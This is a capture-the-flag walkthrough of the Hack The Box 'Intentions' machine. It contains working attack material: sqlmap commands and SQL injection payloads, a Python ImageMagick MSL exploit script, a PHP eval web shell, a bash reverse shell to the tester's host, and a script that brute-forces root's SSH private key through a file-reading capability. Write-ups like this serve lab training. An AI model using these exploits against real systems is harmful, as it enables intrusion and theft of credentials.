As always, we can begin with a port scan:
╰─ nmap -sC -sV 10.129.185.147
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-02 21:56 EDT
Nmap scan report for 10.129.185.147
Host is up (0.029s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 47:d2:00:66:27:5e:e6:9c:80:89:03:b5:8f:9e:60:e5 (ECDSA)
|_ 256 c8:d0:ac:8d:29:9b:87:40:5f:1b:b0:a4:1d:53:8f:f1 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Intentions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.47 seconds
We see that there are open ports for HTTP and SSH, so let’s look at the web page. I took the liberty of adding an entry for the IP address as intentions.htb in my /etc/hosts file.

We are confronted with a login page and none of the simple username and password guesses work for me so let’s make an account and poke around.

So, the site seems to show us images from a list, based on the user’s favorite genres items.
While looking around, I decided to do some directory enumeration, but came up with less than awesome results.
After some looking around and some hints from folks on the HTB discord. I was able to find a type of SQL injection I’ve never worked with before.
This type is called Second-Order Injection. There is a detailed post about it here on hacktricks if you’d like to read more into it.
To my understanding, if a certain parameter is vulnerable to SQL but doesn’t return data indicating so, you might be able to use a second site to execute the SQL. This is the case on this machine, the SQL command is stored when we update the ‘Favorite Genres’ field, and it is executed when we load up the ‘Feed’ section of the page.
I think this is because the site is only trying to interpret the entries of the favorite genre field after you try to get some content on the feed page.
But how can I actually find this out?
Good question, when testing different SQL injection payloads, we need to first use a POST request to get the payload on the site, then use a GET request to try and execute the payload.
I used BurpSuite to capture the POST request for updating our favorite genres, which goes to /api/v1/gallery/user/genres.
Then, we can capture a GET request to the feed page and if we get an error, we can determine that our payload didn’t work. If the get request shows us no errors, we might have a functioning payload.
I grabbed a bunch of different payloads from the sql-injection-payload-list repository and I found one that worked near the bottom of the generic time-based payloads section:
+ SLEEP(10) + '
So, at the bottom of our POST request, our JSON data that we are putting in the favorite genres field looks like this:
{"genres":"food,travel,nature' + SLEEP(1) + '"}
Then, we can try to get the feed page from /api/v1/gallery/user/feed and if our payload works, our response should look like this:
{"status":"success","data":[]}
Now that we have verified that there is a vulnerability present for second order time-based SQL injection, let’s boot up sqlmap and see what we can get.
First, we need to save those POST and GET requests from earlier to files. I am going to use the names post.req and get.req for the sake of simplicity. To do this, you can just right click on the requests in BurpSuite and select the ‘Copy to File’ option.
Then I was able to get some good results with the following command:
╰─ sqlmap -r post.req --second-req get.req --batch --level=4 --risk=3 --tamper=space2comment --threads 10
___
__H__
___ ___[)]_____ ___ ___ {1.7.6#stable}
|_ -| . [.] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
---SNIP---
[23:16:30] [INFO] (custom) POST parameter 'JSON genres' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[23:16:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:16:30] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
---SNIP---
[23:16:46] [INFO] (custom) POST parameter 'JSON genres' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter 'JSON genres' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 238 HTTP(s) requests:
---
Parameter: JSON genres ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: {"genres":"food,travel,nature') AND 5150=5150 AND ('MROA'='MROA"}
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"genres":"food,travel,nature') AND (SELECT 4471 FROM (SELECT(SLEEP(5)))yzls) AND ('rKmb'='rKmb"}
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: {"genres":"food,travel,nature') UNION ALL SELECT NULL,CONCAT(0x716b6a6a71,0x445769516241625a44436264626c626f57726e6158687442677042456363506a57705a666c4a6261,0x716b787a71),NULL,NULL,NULL#"}
---
[23:16:46] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[23:16:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
For the command itself, we need to use -r to show we are using a request file, --second-req to clarify we are using a second order injection method to pare in the next request file. Using --batch will use default answers for all prompts we get and --level=4 and --risk=3 are more aggressive settings for the detection phase, these being on the more obvious side.
The --tamper=space2comment just turns the spaces in our requests into comments which can be helpful for bypassing firewalls in the web application itself.
We can run this again but try and enumerate the databases by using the --dbs flag:
[23:34:47] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] intentions
Now we can select that database by specifying -D intentions and enumerate the tables with --tables:
[23:38:24] [INFO] fetching tables for database: 'intentions'
Database: intentions
[4 tables]
+------------------------+
| gallery_images |
| migrations |
| personal_access_tokens |
| users |
+------------------------+
Then we can specify the users table by using -T users and we can dump all records with the --dump flag.
We see at the very top of the dump that there are two admin users. We ca take note of their emails and password hashes. Cracking these passwords took way too long for me so I figured that it wasn’t the intended route.
There isn’t much we can do with two hashes by themselves, so it is time to get looking again.
From the directory enumeration from earlier, we see a status 200 for the /js directory. Trying to enumerate from there will reveal /js/admin.js among a few other files. Reading through this file initially looks like a bunch of nothing but at the end we see a plaintext message:
Hey team, I've deployed the v2 API to production and have started using it in the admin section.
Let me know if you spot any bugs.
This will be a major security upgrade for our users, passwords no longer need to be transmitted to the server in clear text!
By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable.
This should take care of the concerns raised by our users regarding our lack of HTTPS connection.
So, we might not need those passwords after all if we can send requests over to the v2 API mentioned here.
If you remember from the earlier requests we captured, they were sent to the /api/v1 directory, so let’s try enumerating the /api/v2 directory and see if we get any results for a login page:
╰─ dirsearch -u http://intentions.htb/api/v2/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
---SNIP---
[23:55:26] 405 - 825B - /api/v2/auth/login
[23:55:28] 403 - 564B - /api/v2/bitrix/.settings.bak
[23:55:28] 403 - 564B - /api/v2/bitrix/.settings
---SNIP---
Sweet, we see that the /api/v2/auth/login page gives us a 405 error for the method not being allowed, which makes sense because we are probably supposed to use a POST request to log in to the page.
We can copy the POST request from last time and just change the JSON content and the directory we are pointing to:

We can then change our token and navigate to the /admin page:

If we go over to the images section, it looks like we are able to edit images:

We can capture this image modification process in BurpSuite and we see that the data is sent over in a POST request to /api/v2/admin/image/modify and the JSON data from this above screenshot is as follows:
{"path":"/var/www/html/intentions/storage/app/public/architecture/k-t-francis-kHm0iLOj2zg-unsplash.jpg","effect":"sepia"}
If we just add our own IP address and filename to the path parameter and we will see that the web server can try to reach out to out address:
#the json data in BurpSuite
{"path":"/var/www/html/intentions/storage/app/public/architecture/k-t-francis-kHm0iLOj2zg-unsplash.jpg", "path":"http://10.10.14.121/image.jpg","effect":"sepia"}
#my python listener
╰─ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.185.147 - - [03/Jul/2023 00:34:32] "GET /image.jpg HTTP/1.1" 404 -
Nice, we can get the site to request files from out machine but we need to be able to do something with them.
I downloaded the image from earlier to try and get more information by using the identify command:
╰─ identify -verbose image.jpeg
---SNIP---
Elapsed time: 0:01.002
Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org
ImageMagick is something we have messed with before in the Pilgrimage machine.
After doing a little bit of digging, we can find more details on what we’ll need to do in order to get remote code execution on Hacktricks.
We will need to use the more detailed explanation found here.
The exploit hinges on the presence of an Arbitrary Object Instantiation vulnerability in the target PHP application. This type of vulnerability allows an attacker to create arbitrary objects by controlling both the class of the object and the parameters passed to it.
In this case, the target application also uses ImageMagick to handle image processing. We can take advantage of this by creating an MSL (Magick Scripting Language) file that instructs ImageMagick to write a PHP file to the server.
Once this PHP file is written to the server, we should be able to send requests to it to execute some commands.
We can write a python script based off of this article to help us execute these commands after we generate the file we want to upload:
#!/usr/bin/env python3
# Import necessary libraries
import requests
import threading
import base64
# Setup variables
local_url = "http://<local_ip:port>"
target_url = "http://<target_ip>"
admin_email = "<admin_email>"
admin_hash = "<admin_hash>"
# Login URL
login_url = target_url + "/api/v2/auth/login"
# JSON data for login
json = {"email":admin_email,"hash":admin_hash}
# Create a requests Session
s = requests.session()
# Send a POST request to login
s.post(login_url, json=json)
# Define the MSL file content
msl_file = f'''<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="{local_url}/payload.png" />
<write filename="/var/www/html/intentions/public/payload.php" />
</image>'''
# Set up the file data for the POST request
files = {"payload":("payload.msl", msl_file)}
# Define a function to create an MSL file on the target
def create_msl_on_temp():
url = target_url + "/api/v2/admin/image/modify"
s.post(url, files=files)
# Define the JSON data for the request to include the file
json = {
'path': 'vid:msl:/tmp/php*',
'effect': 'payload'
}
# Define a function to send a request to include the file
def try_include():
url = target_url + "/api/v2/admin/image/modify"
s.post(url, json=json)
# Create a list of threads
threads = []
# For 30 iterations, create two threads: one to create the MSL file, and one to include it
for i in range(30):
threads.append(threading.Thread(target=create_msl_on_temp))
threads.append(threading.Thread(target=try_include))
# Start all the threads
for t in threads:
t.start()
# Wait for all the threads to finish
for t in threads:
t.join()
# Enter an infinite loop
while True:
try:
# Prompt the user for a command
cmd = input("cmd> ")
# Base64 encode the command
cmd = base64.b64encode(cmd.rstrip().encode()).decode()
# Define the data for the POST request to execute the command
data = {
"a":f"""system("echo {cmd} | base64 -d | bash");"""
}
# Send a POST request to execute the command
payload_url = target_url + "/payload.php"
r = requests.post(payload_url, data=data)
# Print the output of the command
#print(r.text)
# If "Copyright" is in the response, print the part after it
if "Copyright" in r.text:
print(r.text.split("Copyright")[1].encode().split(b"\n6\x11\xef\xbf")[0].decode())
else:
print("No 'Copyright' in response")
# Exit the loop if the user hits Ctrl+C
except KeyboardInterrupt:
exit(0)
Once the script is ready, we can make our payload.png image and open our own HTTP server to serve the image on:
╰─ convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' payload.png
╰─ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Then when running our exploit, we will be able to execute commands:
╰─ python3 RCE.py
cmd> whoami
www-data
Now we can get a regular shell with a bash one liner:
╰─ python3 RCE.py
cmd> bash -i >& /dev/tcp/10.10.14.121/1337 0>&1
#on the listener
╰─ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.121] from intentions.htb [10.129.185.147] 58220
bash: no job control in this shell
www-data@intentions:~/html/intentions/public$
In the /var/www/html/intentions directory, we can see a git repository, so let’s zip it and download it:
www-data@intentions:~/html/intentions$ tar cvf /tmp/git.tar.gz .git
.git/
.git/HEAD
.git/logs/
.git/logs/HEAD
.git/logs/refs/
.git/logs/refs/heads/
.git/logs/refs/heads/master
---SNIP---
Then from that shell we can open a HTTP server with python to serve the zip over to our machine.
You can then extract it and begin looking around the git repository.
╰─ git log
commit 1f29dfde45c21be67bb2452b46d091888ed049c3 (HEAD -> master)
Author: steve <steve@intentions.htb>
Date: Mon Jan 30 15:29:12 2023 +0100
Fix webpack for production
commit f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
Author: greg <greg@intentions.htb>
Date: Thu Jan 26 09:21:52 2023 +0100
Test cases did not work on steves local database, switching to user factory per his advice
commit 36b4287cf2fb356d868e71dc1ac90fc8fa99d319
Author: greg <greg@intentions.htb>
Date: Wed Jan 25 20:45:12 2023 +0100
Adding test cases for the API!
We can look at these commits in detail:
╰─ git show f7c903
commit f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
Author: greg <greg@intentions.htb>
Date: Thu Jan 26 09:21:52 2023 +0100
Test cases did not work on steves local database, switching to user factory per his advice
diff --git a/tests/Feature/Helper.php b/tests/Feature/Helper.php
index f57e37b..0586d51 100644
--- a/tests/Feature/Helper.php
+++ b/tests/Feature/Helper.php
@@ -8,12 +8,14 @@ class Helper extends TestCase
{
public static function getToken($test, $admin = false) {
if($admin) {
- $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg@intentions.htb', 'password' => 'G**************************!']);
- return $res->headers->get('Authorization');
So greg was told by steve that his local DB wasn’t working so greg decided to include his credentials in the code for testing purposes. Might be convenient, but not a great idea.
We can use this credential to SSH in as greg and get the user flag.
When running the id command, we see that we are a part of the scanners group:
$ id
uid=1001(greg) gid=1001(greg) groups=1001(greg),1003(scanner)
To see what this group has access to, we can run this command:
$ find / -group scanner
One of the directories this command shows us is /opt/scanner, which has a program called scanner inside, so let’s experiment with it:
$ ./scanner
The copyright_scanner application provides the capability to evaluate a single file or directory of files against a known blacklist and return matches.
This utility has been developed to help identify copyrighted material that have previously been submitted on the platform.
This tool can also be used to check for duplicate images to avoid having multiple of the same photos in the gallery.
File matching are evaluated by comparing an MD5 hash of the file contents or a portion of the file contents against those submitted in the hash file.
The hash blacklist file should be maintained as a single LABEL:MD5 per line.
Please avoid using extra colons in the label as that is not currently supported.
Expected output:
1. Empty if no matches found
2. A line for every match, example:
[+] {LABEL} matches {FILE}
-c string
Path to image file to check. Cannot be combined with -d
-d string
Path to image directory to check. Cannot be combined with -c
-h string
Path to colon separated hash file. Not compatible with -p
-l int
Maximum bytes of files being checked to hash. Files smaller than this value will be fully hashed. Smaller values are much faster but prone to false positives. (default 500)
-p [Debug] Print calculated file hash. Only compatible with -c
-s string
Specific hash to check against. Not compatible with -h
So the program hashes a provided file and compares it with a hash that we give it. One of these arguments lets us specify the maximum number of bytes to be checked.
We can look at the capabilities this program has, and it looks like we are allowed to read any file we want:
$ getcap scanner
scanner cap_dac_read_search=ep
Because we can specify the length of the file to be hashed, we can brute force the contents of any file on the system.
We do this by hashing the first character in a file with scanner and then comparing it with the hash of every possible character, then adding it to the output once we determine it is correct.
Here is a python script we can upload to the host and use to get the contents of the root user’s SSH private key:
#!/usr/bin/env python3
# Import necessary libraries
import hashlib
import os
import string
# Path to the file to brute force
file_to_brute = "/root/.ssh/id_rsa"
# All printable ASCII characters
charset = string.printable
# String that will eventually contain the brute-forced contents of the file
current_read = ""
# Function to find the character that, when appended to current_read,
# results in a string with the same MD5 hash as temp_hash
def find_char(temp_hash):
for i in charset:
# Test string is the current string plus one character
test_data = current_read + i
# Calculate MD5 hash of the test string
current_hash = hashlib.md5(test_data.encode()).hexdigest()
# If the hash of the test string matches temp_hash, return the character
if temp_hash == current_hash:
return i
# If no character results in a matching hash, return None
return None
# Function to get the MD5 hash of the first i characters of the file
def get_hash(i):
# Command to run the scanner program
command = f"/opt/scanner/scanner -c {file_to_brute} -s ec953714950ef0f232609f4d38a13420 -p -l {i}"
# Execute the command and get the output
temp_hash = os.popen(command).read().split(" ")[-1].rstrip()
# Return the hash
return temp_hash
# Start at the first character
i = 1
# Start an infinite loop
while True:
# Get the MD5 hash of the first i characters of the file
temp_hash = get_hash(i)
# Find the character that results in the same hash
new_char = find_char(temp_hash)
# If no such character is found, break the loop
if not new_char:
break
else:
# If a matching character is found, append it to current_read and increment i
current_read += new_char
i += 1
# Print the brute-forced contents of the file
print(current_read)
Just upload this to the target, run it and copy the contents of the id_rsa file to your machine. Then, change the file’s permissions with chmod 600 and then use it to log into the machine as root over SSH:
╰─ ssh -i id_rsa root@intentions.htb
Last login: Mon Jul 3 05:13:14 2023 from 10.10.14.121
root@intentions:~#